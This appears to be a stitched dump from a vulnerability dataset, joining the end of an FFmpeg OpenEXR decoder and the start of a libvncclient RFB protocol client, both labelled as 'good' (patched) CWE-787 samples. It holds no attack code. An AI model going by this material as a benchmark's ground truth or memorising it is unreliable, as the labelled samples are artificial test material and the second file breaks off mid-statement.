0x08) { avpriv_report_missing_feature(s->avctx, "deep data"); return AVERROR_PATCHWELCOME; } if (flags & 0x10) { avpriv_report_missing_feature(s->avctx, "multipart"); return AVERROR_PATCHWELCOME; } // Parse the header while (bytestream2_get_bytes_left(&s->gb) > 0 && *s->gb.buffer) { int var_size; if ((var_size = check_header_variable(s, "channels", "chlist", 38)) >= 0) { GetByteContext ch_gb; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_init(&ch_gb, s->gb.buffer, var_size); while (bytestream2_get_bytes_left(&ch_gb) >= 19) { EXRChannel *channel; enum ExrPixelType current_pixel_type; int channel_index = -1; int xsub, ysub; if (strcmp(s->layer, "") != 0) { if (strncmp(ch_gb.buffer, s->layer, strlen(s->layer)) == 0) { layer_match = 1; av_log(s->avctx, AV_LOG_INFO, "Channel match layer : %s.\n", ch_gb.buffer); ch_gb.buffer += strlen(s->layer); if (*ch_gb.buffer == '.') ch_gb.buffer++; /* skip dot if not given */ } else { layer_match = 0; av_log(s->avctx, AV_LOG_INFO, "Channel doesn't match layer : %s.\n", ch_gb.buffer); } } else { layer_match = 1; } if (layer_match) { /* only search channel if the layer match is valid */ if (!av_strcasecmp(ch_gb.buffer, "R") || !av_strcasecmp(ch_gb.buffer, "X") || !av_strcasecmp(ch_gb.buffer, "U")) { channel_index = 0; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "G") || !av_strcasecmp(ch_gb.buffer, "V")) { channel_index = 1; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "Y")) { channel_index = 1; s->is_luma = 1; } else if (!av_strcasecmp(ch_gb.buffer, "B") || !av_strcasecmp(ch_gb.buffer, "Z") || !av_strcasecmp(ch_gb.buffer, "W")) { channel_index = 2; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "A")) { channel_index = 3; } else { av_log(s->avctx, AV_LOG_WARNING, "Unsupported channel %.256s.\n", ch_gb.buffer); } } /* skip until you get a 0 */ while (bytestream2_get_bytes_left(&ch_gb) > 0 && bytestream2_get_byte(&ch_gb)) continue; if (bytestream2_get_bytes_left(&ch_gb) < 4) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete header.\n"); ret = AVERROR_INVALIDDATA; goto fail; } current_pixel_type = bytestream2_get_le32(&ch_gb); if (current_pixel_type >= EXR_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Pixel type %d", current_pixel_type); ret = AVERROR_PATCHWELCOME; goto fail; } bytestream2_skip(&ch_gb, 4); xsub = bytestream2_get_le32(&ch_gb); ysub = bytestream2_get_le32(&ch_gb); if (xsub != 1 || ysub != 1) { avpriv_report_missing_feature(s->avctx, "Subsampling %dx%d", xsub, ysub); ret = AVERROR_PATCHWELCOME; goto fail; } if (channel_index >= 0 && s->channel_offsets[channel_index] == -1) { /* channel has not been previously assigned */ if (s->pixel_type != EXR_UNKNOWN && s->pixel_type != current_pixel_type) { av_log(s->avctx, AV_LOG_ERROR, "RGB channels not of the same depth.\n"); ret = AVERROR_INVALIDDATA; goto fail; } s->pixel_type = current_pixel_type; s->channel_offsets[channel_index] = s->current_channel_offset; } else if (channel_index >= 0) { av_log(s->avctx, AV_LOG_WARNING, "Multiple channels with index %d.\n", channel_index); if (++dup_channels > 10) { ret = AVERROR_INVALIDDATA; goto fail; } } s->channels = av_realloc(s->channels, ++s->nb_channels * sizeof(EXRChannel)); if (!s->channels) { ret = AVERROR(ENOMEM); goto fail; } channel = &s->channels[s->nb_channels - 1]; channel->pixel_type = current_pixel_type; channel->xsub = xsub; channel->ysub = ysub; if (current_pixel_type == EXR_HALF) { s->current_channel_offset += 2; } else {/* Float or UINT32 */ s->current_channel_offset += 4; } } /* Check if all channels are set with an offset or if the channels * are causing an overflow */ if (!s->is_luma) {/* if we expected to have at least 3 channels */ if (FFMIN3(s->channel_offsets[0], s->channel_offsets[1], s->channel_offsets[2]) < 0) { if (s->channel_offsets[0] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing red channel.\n"); if (s->channel_offsets[1] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing green channel.\n"); if (s->channel_offsets[2] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing blue channel.\n"); ret = AVERROR_INVALIDDATA; goto fail; } } // skip one last byte and update main gb s->gb.buffer = ch_gb.buffer + 1; continue; } else if ((var_size = check_header_variable(s, "dataWindow", "box2i", 31)) >= 0) { int xmin, ymin, xmax, ymax; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } xmin = bytestream2_get_le32(&s->gb); ymin = bytestream2_get_le32(&s->gb); xmax = bytestream2_get_le32(&s->gb); ymax = bytestream2_get_le32(&s->gb); if (xmin > xmax || ymin > ymax || (unsigned)xmax - xmin >= INT_MAX || (unsigned)ymax - ymin >= INT_MAX) { ret = AVERROR_INVALIDDATA; goto fail; } s->xmin = xmin; s->xmax = xmax; s->ymin = ymin; s->ymax = ymax; s->xdelta = (s->xmax - s->xmin) + 1; s->ydelta = (s->ymax - s->ymin) + 1; continue; } else if ((var_size = check_header_variable(s, "displayWindow", "box2i", 34)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_skip(&s->gb, 8); s->w = bytestream2_get_le32(&s->gb) + 1; s->h = bytestream2_get_le32(&s->gb) + 1; continue; } else if ((var_size = check_header_variable(s, "lineOrder", "lineOrder", 25)) >= 0) { int line_order; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } line_order = bytestream2_get_byte(&s->gb); av_log(s->avctx, AV_LOG_DEBUG, "line order: %d.\n", line_order); if (line_order > 2) { av_log(s->avctx, AV_LOG_ERROR, "Unknown line order.\n"); ret = AVERROR_INVALIDDATA; goto fail; } continue; } else if ((var_size = check_header_variable(s, "pixelAspectRatio", "float", 31)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } sar = bytestream2_get_le32(&s->gb); continue; } else if ((var_size = check_header_variable(s, "compression", "compression", 29)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } if (s->compression == EXR_UNKN) s->compression = bytestream2_get_byte(&s->gb); else av_log(s->avctx, AV_LOG_WARNING, "Found more than one compression attribute.\n"); continue; } else if ((var_size = check_header_variable(s, "tiles", "tiledesc", 22)) >= 0) { char tileLevel; if (!s->is_tile) av_log(s->avctx, AV_LOG_WARNING, "Found tile attribute and scanline flags. Exr will be interpreted as scanline.\n"); s->tile_attr.xSize = bytestream2_get_le32(&s->gb); s->tile_attr.ySize = bytestream2_get_le32(&s->gb); tileLevel = bytestream2_get_byte(&s->gb); s->tile_attr.level_mode = tileLevel & 0x0f; s->tile_attr.level_round = (tileLevel >> 4) & 0x0f; if (s->tile_attr.level_mode >= EXR_TILE_LEVEL_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Tile level mode %d", s->tile_attr.level_mode); ret = AVERROR_PATCHWELCOME; goto fail; } if (s->tile_attr.level_round >= EXR_TILE_ROUND_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Tile level round %d", s->tile_attr.level_round); ret = AVERROR_PATCHWELCOME; goto fail; } continue; } else if ((var_size = check_header_variable(s, "writer", "string", 1)) >= 0) { uint8_t key[256] = { 0 }; bytestream2_get_buffer(&s->gb, key, FFMIN(sizeof(key) - 1, var_size)); av_dict_set(&metadata, "writer", key, 0); continue; } // Check if there are enough bytes for a header if (bytestream2_get_bytes_left(&s->gb) <= 9) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete header\n"); ret = AVERROR_INVALIDDATA; goto fail; } // Process unknown variables for (i = 0; i < 2; i++) // value_name and value_type while (bytestream2_get_byte(&s->gb) != 0); // Skip variable length bytestream2_skip(&s->gb, bytestream2_get_le32(&s->gb)); } ff_set_sar(s->avctx, av_d2q(av_int2float(sar), 255)); if (s->compression == EXR_UNKN) { av_log(s->avctx, AV_LOG_ERROR, "Missing compression attribute.\n"); ret = AVERROR_INVALIDDATA; goto fail; } if (s->is_tile) { if (s->tile_attr.xSize < 1 || s->tile_attr.ySize < 1) { av_log(s->avctx, AV_LOG_ERROR, "Invalid tile attribute.\n"); ret = AVERROR_INVALIDDATA; goto fail; } } if (bytestream2_get_bytes_left(&s->gb) <= 0) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete frame.\n"); ret = AVERROR_INVALIDDATA; goto fail; } frame->metadata = metadata; // aaand we are done bytestream2_skip(&s->gb, 1); return 0; fail: av_dict_free(&metadata); return ret; } static int decode_frame(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { EXRContext *s = avctx->priv_data; ThreadFrame frame = { .f = data }; AVFrame *picture = data; uint8_t *ptr; int i, y, ret, ymax; int planes; int out_line_size; int nb_blocks; /* nb scanline or nb tile */ uint64_t start_offset_table; uint64_t start_next_scanline; PutByteContext offset_table_writer; bytestream2_init(&s->gb, avpkt->data, avpkt->size); if ((ret = decode_header(s, picture)) < 0) return ret; switch (s->pixel_type) { case EXR_FLOAT: case EXR_HALF: if (s->channel_offsets[3] >= 0) { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_GBRAPF32; } else { /* todo: change this when a floating point pixel format with luma with alpha is implemented */ avctx->pix_fmt = AV_PIX_FMT_GBRAPF32; } } else { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_GBRPF32; } else { avctx->pix_fmt = AV_PIX_FMT_GRAYF32; } } break; case EXR_UINT: if (s->channel_offsets[3] >= 0) { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_RGBA64; } else { avctx->pix_fmt = AV_PIX_FMT_YA16; } } else { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_RGB48; } else { avctx->pix_fmt = AV_PIX_FMT_GRAY16; } } break; default: av_log(avctx, AV_LOG_ERROR, "Missing channel list.\n"); return AVERROR_INVALIDDATA; } if (s->apply_trc_type != AVCOL_TRC_UNSPECIFIED) avctx->color_trc = s->apply_trc_type; switch (s->compression) { case EXR_RAW: case EXR_RLE: case EXR_ZIP1: s->scan_lines_per_block = 1; break; case EXR_PXR24: case EXR_ZIP16: s->scan_lines_per_block = 16; break; case EXR_PIZ: case EXR_B44: case EXR_B44A: s->scan_lines_per_block = 32; break; default: avpriv_report_missing_feature(avctx, "Compression %d", s->compression); return AVERROR_PATCHWELCOME; } /* Verify the xmin, xmax, ymin and ymax before setting the actual image size. * It's possible for the data window can larger or outside the display window */ if (s->xmin > s->xmax || s->ymin > s->ymax || s->ydelta == 0xFFFFFFFF || s->xdelta == 0xFFFFFFFF) { av_log(avctx, AV_LOG_ERROR, "Wrong or missing size information.\n"); return AVERROR_INVALIDDATA; } if ((ret = ff_set_dimensions(avctx, s->w, s->h)) < 0) return ret; s->desc = av_pix_fmt_desc_get(avctx->pix_fmt); if (!s->desc) return AVERROR_INVALIDDATA; if (s->desc->flags & AV_PIX_FMT_FLAG_FLOAT) { planes = s->desc->nb_components; out_line_size = avctx->width * 4; } else { planes = 1; out_line_size = avctx->width * 2 * s->desc->nb_components; } if (s->is_tile) { nb_blocks = ((s->xdelta + s->tile_attr.xSize - 1) / s->tile_attr.xSize) * ((s->ydelta + s->tile_attr.ySize - 1) / s->tile_attr.ySize); } else { /* scanline */ nb_blocks = (s->ydelta + s->scan_lines_per_block - 1) / s->scan_lines_per_block; } if ((ret = ff_thread_get_buffer(avctx, &frame, 0)) < 0) return ret; if (bytestream2_get_bytes_left(&s->gb)/8 < nb_blocks) return AVERROR_INVALIDDATA; // check offset table and recreate it if need if (!s->is_tile && bytestream2_peek_le64(&s->gb) == 0) { av_log(s->avctx, AV_LOG_DEBUG, "recreating invalid scanline offset table\n"); start_offset_table = bytestream2_tell(&s->gb); start_next_scanline = start_offset_table + nb_blocks * 8; bytestream2_init_writer(&offset_table_writer, &avpkt->data[start_offset_table], nb_blocks * 8); for (y = 0; y < nb_blocks; y++) { /* write offset of prev scanline in offset table */ bytestream2_put_le64(&offset_table_writer, start_next_scanline); /* get len of next scanline */ bytestream2_seek(&s->gb, start_next_scanline + 4, SEEK_SET);/* skip line number */ start_next_scanline += (bytestream2_get_le32(&s->gb) + 8); } bytestream2_seek(&s->gb, start_offset_table, SEEK_SET); } // save pointer we are going to use in decode_block s->buf = avpkt->data; s->buf_size = avpkt->size; // Zero out the start if ymin is not 0 for (i = 0; i < planes; i++) { ptr = picture->data[i]; for (y = 0; y < FFMIN(s->ymin, s->h); y++) { memset(ptr, 0, out_line_size); ptr += picture->linesize[i]; } } s->picture = picture; avctx->execute2(avctx, decode_block, s->thread_data, NULL, nb_blocks); ymax = FFMAX(0, s->ymax + 1); // Zero out the end if ymax+1 is not h if (ymax < avctx->height) for (i = 0; i < planes; i++) { ptr = picture->data[i] + (ymax * picture->linesize[i]); for (y = ymax; y < avctx->height; y++) { memset(ptr, 0, out_line_size); ptr += picture->linesize[i]; } } picture->pict_type = AV_PICTURE_TYPE_I; *got_frame = 1; return avpkt->size; } static av_cold int decode_init(AVCodecContext *avctx) { EXRContext *s = avctx->priv_data; uint32_t i; union av_intfloat32 t; float one_gamma = 1.0f / s->gamma; avpriv_trc_function trc_func = NULL; s->avctx = avctx; ff_exrdsp_init(&s->dsp); #if HAVE_BIGENDIAN ff_bswapdsp_init(&s->bbdsp); #endif trc_func = avpriv_get_trc_function_from_trc(s->apply_trc_type); if (trc_func) { for (i = 0; i < 65536; ++i) { t = exr_half2float(i); t.f = trc_func(t.f); s->gamma_table[i] = t; } } else { if (one_gamma > 0.9999f && one_gamma < 1.0001f) { for (i = 0; i < 65536; ++i) { s->gamma_table[i] = exr_half2float(i); } } else { for (i = 0; i < 65536; ++i) { t = exr_half2float(i); /* If negative value we reuse half value */ if (t.f <= 0.0f) { s->gamma_table[i] = t; } else { t.f = powf(t.f, one_gamma); s->gamma_table[i] = t; } } } } // allocate thread data, used for non EXR_RAW compression types s->thread_data = av_mallocz_array(avctx->thread_count, sizeof(EXRThreadData)); if (!s->thread_data) return AVERROR_INVALIDDATA; return 0; } static av_cold int decode_end(AVCodecContext *avctx) { EXRContext *s = avctx->priv_data; int i; for (i = 0; i < avctx->thread_count; i++) { EXRThreadData *td = &s->thread_data[i]; av_freep(&td->uncompressed_data); av_freep(&td->tmp); av_freep(&td->bitmap); av_freep(&td->lut); } av_freep(&s->thread_data); av_freep(&s->channels); return 0; } #define OFFSET(x) offsetof(EXRContext, x) #define VD AV_OPT_FLAG_VIDEO_PARAM | AV_OPT_FLAG_DECODING_PARAM static const AVOption options[] = { { "layer", "Set the decoding layer", OFFSET(layer), AV_OPT_TYPE_STRING, { .str = "" }, 0, 0, VD }, { "gamma", "Set the float gamma value when decoding", OFFSET(gamma), AV_OPT_TYPE_FLOAT, { .dbl = 1.0f }, 0.001, FLT_MAX, VD }, // XXX: Note the abuse of the enum using AVCOL_TRC_UNSPECIFIED to subsume the existing gamma option { "apply_trc", "color transfer characteristics to apply to EXR linear input", OFFSET(apply_trc_type), AV_OPT_TYPE_INT, {.i64 = AVCOL_TRC_UNSPECIFIED }, 1, AVCOL_TRC_NB-1, VD, "apply_trc_type"}, { "bt709", "BT.709", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT709 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma", "gamma", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_UNSPECIFIED }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma22", "BT.470 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_GAMMA22 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma28", "BT.470 BG", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_GAMMA28 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte170m", "SMPTE 170 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTE170M }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte240m", "SMPTE 240 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTE240M }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "linear", "Linear", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LINEAR }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "log", "Log", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LOG }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "log_sqrt", "Log square root", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LOG_SQRT }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "iec61966_2_4", "IEC 61966-2-4", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_IEC61966_2_4 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt1361", "BT.1361", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT1361_ECG }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "iec61966_2_1", "IEC 61966-2-1", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_IEC61966_2_1 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt2020_10bit", "BT.2020 - 10 bit", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT2020_10 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt2020_12bit", "BT.2020 - 12 bit", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT2020_12 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte2084", "SMPTE ST 2084", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTEST2084 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte428_1", "SMPTE ST 428-1", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTEST428_1 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { NULL }, }; static const AVClass exr_class = { .class_name = "EXR", .item_name = av_default_item_name, .option = options, .version = LIBAVUTIL_VERSION_INT, }; AVCodec ff_exr_decoder = { .name = "exr", .long_name = NULL_IF_CONFIG_SMALL("OpenEXR image"), .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_EXR, .priv_data_size = sizeof(EXRContext), .init = decode_init, .close = decode_end, .decode = decode_frame, .capabilities = AV_CODEC_CAP_DR1 | AV_CODEC_CAP_FRAME_THREADS | AV_CODEC_CAP_SLICE_THREADS, .priv_class = &exr_class, };
./CrossVul/dataset_final_sorted/CWE-787/c/good_4486_0
crossvul-cpp_data_good_521_0
/* * Copyright (C) 2000-2002 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * rfbproto.c - functions to deal with client side of RFB protocol. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #ifndef WIN32 #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <pwd.h> #endif #include <errno.h> #include <rfb/rfbclient.h> #ifdef WIN32 #undef SOCKET #undef socklen_t #endif #ifdef LIBVNCSERVER_HAVE_LIBZ #include <zlib.h> #ifdef __CHECKER__ #undef Z_NULL #define Z_NULL NULL #endif #endif #ifndef _MSC_VER /* Strings.h is not available in MSVC */ #include <strings.h> #endif #include <stdarg.h> #include <time.h> #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT #include <gcrypt.h> #endif #include "sasl.h" #include "minilzo.h" #include "tls.h" #ifdef _MSC_VER # define snprintf _snprintf /* MSVC went straight to the underscored syntax */ #endif /* * rfbClientLog prints a time-stamped message to the log file (stderr). */ rfbBool rfbEnableClientLogging=TRUE; static void rfbDefaultClientLog(const char *format, ...) { va_list args; char buf[256]; time_t log_clock; if(!rfbEnableClientLogging) return; va_start(args, format); time(&log_clock); strftime(buf, 255, "%d/%m/%Y %X ", localtime(&log_clock)); fprintf(stderr, "%s", buf); vfprintf(stderr, format, args); fflush(stderr); va_end(args); } rfbClientLogProc rfbClientLog=rfbDefaultClientLog; rfbClientLogProc rfbClientErr=rfbDefaultClientLog; /* extensions */ rfbClientProtocolExtension* rfbClientExtensions = NULL; void rfbClientRegisterExtension(rfbClientProtocolExtension* e) { e->next = rfbClientExtensions; rfbClientExtensions = e; } /* client data */ void rfbClientSetClientData(rfbClient* client, void* tag, void* data) { rfbClientData* clientData = client->clientData; while(clientData && clientData->tag != tag) clientData = clientData->next; if(clientData == NULL) { clientData = calloc(sizeof(rfbClientData), 1); clientData->next = client->clientData; client->clientData = clientData; clientData->tag = tag; } clientData->data = data; } void* rfbClientGetClientData(rfbClient* client, void* tag) { rfbClientData* clientData = client->clientData; while(clientData) { if(clientData->tag == tag) return clientData->data; clientData = clientData->next; } return NULL; } static rfbBool HandleRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleCoRRE32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleHextile32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltra32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleUltraZip32(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBZ static rfbBool HandleZlib8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZlib32(rfbClient* client, int rx, int ry, int rw, int rh); #ifdef LIBVNCSERVER_HAVE_LIBJPEG static rfbBool HandleTight8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleTight32(rfbClient* client, int rx, int ry, int rw, int rh); static long ReadCompactLen (rfbClient* client); #endif static rfbBool HandleZRLE8(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE15(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE16(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Up(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE24Down(rfbClient* client, int rx, int ry, int rw, int rh); static rfbBool HandleZRLE32(rfbClient* client, int rx, int ry, int rw, int rh); #endif /* * Server Capability Functions */ rfbBool SupportsClient2Server(rfbClient* client, int messageType) { return (client->supportedMessages.client2server[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } rfbBool SupportsServer2Client(rfbClient* client, int messageType) { return (client->supportedMessages.server2client[((messageType & 0xFF)/8)] & (1<<(messageType % 8)) ? TRUE : FALSE); } void SetClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void SetServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] |= (1<<(messageType % 8)); } void ClearClient2Server(rfbClient* client, int messageType) { client->supportedMessages.client2server[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void ClearServer2Client(rfbClient* client, int messageType) { client->supportedMessages.server2client[((messageType & 0xFF)/8)] &= (!(1<<(messageType % 8))); } void DefaultSupportedMessages(rfbClient* client) { memset((char *)&client->supportedMessages,0,sizeof(client->supportedMessages)); /* Default client supported messages (universal RFB 3.3 protocol) */ SetClient2Server(client, rfbSetPixelFormat); /* SetClient2Server(client, rfbFixColourMapEntries); Not currently supported */ SetClient2Server(client, rfbSetEncodings); SetClient2Server(client, rfbFramebufferUpdateRequest); SetClient2Server(client, rfbKeyEvent); SetClient2Server(client, rfbPointerEvent); SetClient2Server(client, rfbClientCutText); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbFramebufferUpdate); SetServer2Client(client, rfbSetColourMapEntries); SetServer2Client(client, rfbBell); SetServer2Client(client, rfbServerCutText); } void DefaultSupportedMessagesUltraVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetScale); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); SetClient2Server(client, rfbTextChat); SetClient2Server(client, rfbPalmVNCSetScaleFactor); /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbResizeFrameBuffer); SetServer2Client(client, rfbPalmVNCReSizeFrameBuffer); SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } void DefaultSupportedMessagesTightVNC(rfbClient* client) { DefaultSupportedMessages(client); SetClient2Server(client, rfbFileTransfer); SetClient2Server(client, rfbSetServerInput); SetClient2Server(client, rfbSetSW); /* SetClient2Server(client, rfbTextChat); */ /* technically, we only care what we can *send* to the server */ SetServer2Client(client, rfbFileTransfer); SetServer2Client(client, rfbTextChat); } #ifndef WIN32 static rfbBool IsUnixSocket(const char *name) { struct stat sb; if(stat(name, &sb) == 0 && (sb.st_mode & S_IFMT) == S_IFSOCK) return TRUE; return FALSE; } #endif /* * ConnectToRFBServer. */ rfbBool ConnectToRFBServer(rfbClient* client,const char *hostname, int port) { if (client->serverPort==-1) { /* serverHost is a file recorded by vncrec. */ const char* magic="vncLog0.0"; char buffer[10]; rfbVNCRec* rec = (rfbVNCRec*)malloc(sizeof(rfbVNCRec)); client->vncRec = rec; rec->file = fopen(client->serverHost,"rb"); rec->tv.tv_sec = 0; rec->readTimestamp = FALSE; rec->doNotSleep = FALSE; if (!rec->file) { rfbClientLog("Could not open %s.\n",client->serverHost); return FALSE; } setbuf(rec->file,NULL); if (fread(buffer,1,strlen(magic),rec->file) != strlen(magic) || strncmp(buffer,magic,strlen(magic))) { rfbClientLog("File %s was not recorded by vncrec.\n",client->serverHost); fclose(rec->file); return FALSE; } client->sock = -1; return TRUE; } #ifndef WIN32 if(IsUnixSocket(hostname)) /* serverHost is a UNIX socket. */ client->sock = ConnectClientToUnixSock(hostname); else #endif { #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(hostname, port); if (client->sock == -1) #endif { unsigned int host; /* serverHost is a hostname */ if (!StringToIPAddr(hostname, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", hostname); return FALSE; } client->sock = ConnectClientToTcpAddr(host, port); } } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC server\n"); return FALSE; } if(client->QoS_DSCP && !SetDSCP(client->sock, client->QoS_DSCP)) return FALSE; return SetNonBlocking(client->sock); } /* * ConnectToRFBRepeater. */ rfbBool ConnectToRFBRepeater(rfbClient* client,const char *repeaterHost, int repeaterPort, const char *destHost, int destPort) { rfbProtocolVersionMsg pv; int major,minor; char tmphost[250]; int tmphostlen; #ifdef LIBVNCSERVER_IPv6 client->sock = ConnectClientToTcpAddr6(repeaterHost, repeaterPort); if (client->sock == -1) #endif { unsigned int host; if (!StringToIPAddr(repeaterHost, &host)) { rfbClientLog("Couldn't convert '%s' to host address\n", repeaterHost); return FALSE; } client->sock = ConnectClientToTcpAddr(host, repeaterPort); } if (client->sock < 0) { rfbClientLog("Unable to connect to VNC repeater\n"); return FALSE; } if (!SetNonBlocking(client->sock)) return FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg] = 0; /* UltraVNC repeater always report version 000.000 to identify itself */ if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2 || major != 0 || minor != 0) { rfbClientLog("Not a valid VNC repeater (%s)\n",pv); return FALSE; } rfbClientLog("Connected to VNC repeater, using protocol version %d.%d\n", major, minor); tmphostlen = snprintf(tmphost, sizeof(tmphost), "%s:%d", destHost, destPort); if(tmphostlen < 0 || tmphostlen >= (int)sizeof(tmphost)) return FALSE; /* snprintf error or output truncated */ if (!WriteToRFBServer(client, tmphost, 